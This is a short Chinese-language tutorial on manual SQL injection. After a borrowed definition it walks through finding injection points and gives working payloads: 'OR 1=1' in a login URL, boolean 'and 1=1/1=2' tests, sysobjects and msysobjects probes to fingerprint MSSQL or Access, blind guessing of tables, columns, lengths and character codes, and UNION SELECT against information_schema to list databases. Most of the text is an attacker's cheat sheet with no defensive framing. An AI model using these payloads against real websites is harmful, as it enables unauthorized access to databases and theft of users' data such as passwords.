所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。 [1] 比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.(引用百度百科)
今天我们就讲一下手工注入!!!
一:SQL注入攻击的过程
1、攻击者访问有SQL注入漏洞的网站,寻找注入点
2、攻击者构造注入语句,注入语句和程序中的SQL语句结合生成新的SQL语句
3、新的SQL语句被提交到数据库中进行处理
4、数据库执行了新的SQL语句,引发SQL注入攻击
二:SQL注入的测试方法
1、首先,找到带有参数传递的URL页面,如搜索页面,登陆页面,提交评论页面等
2、其次,在URL参数或表单中加入某些特殊的SQL语句或SQL片段,如在登陆页面的URL中输入
Http://DOMAIN/INDEX.ASP?USERNAME="HI" OR 1=1
3、验证是否能入侵成功,或是出错的信息是否包含关于数据库服务器的相关信息,如果能,说明存在SQL安全漏洞。
三:SQL 手工注入语法
1、判断是否有注入
;and 1=1
;and 1=2
2、初步判断是否是mssql
;and user>0
3、判断数据库系统(Access和 SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提示“没有权限”,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。)
;and (select count(*) from sysobjects)>0 mssql(返回正常则为MSSQL数据库)
;and (select count(*) from msysobjects)>0 (返回权限不足access数据库)
4、猜数据库
;and (select Count(*) from [数据库名])>0
5、猜字段
;and (select Count(字段名) from 数据库名)>0
6、猜字段中记录长度
;and (select top 1 len(字段名) from 数据库名)>0
7、猜字段的ascii值(access)
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
8、猜字段的ascii值(mssql)
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
9、information_schema.SCHEMATA表中的SCHEMA_NAME 查看所有的数据库:
如:select * from hehe where id=3 and 1=2 union select 0,0,SCHEMA_NAME from information_schema.SCHEMATA limit 1,2;
四:手工注入步骤
第一步:使用order by(判断所查询字段的数目)
第二步:找出数据库名
union
select
database
()
第三步:找出对应的表
如:select * from hehe where id = 3 and exists(select * from admin);
exsits()猜解表名
第四步:找出对应的列
UNION猜解列数
原理是:利用两边结果集必须相等列数!只有列数相等了,才能返回True!
如:select * from hehe where id =3 and 1=1 union select 1,2,3;
用 select * from hehe where id=3 and exists(select name from hehe);来猜解列名!
我们用and union select 1,2,3,4,5,6...;来猜解列数,只有列数相等了,才能返回True!
第五步:找到所要的数据
具体示例可查看文章:https://www.jb51.net/article/93442.htm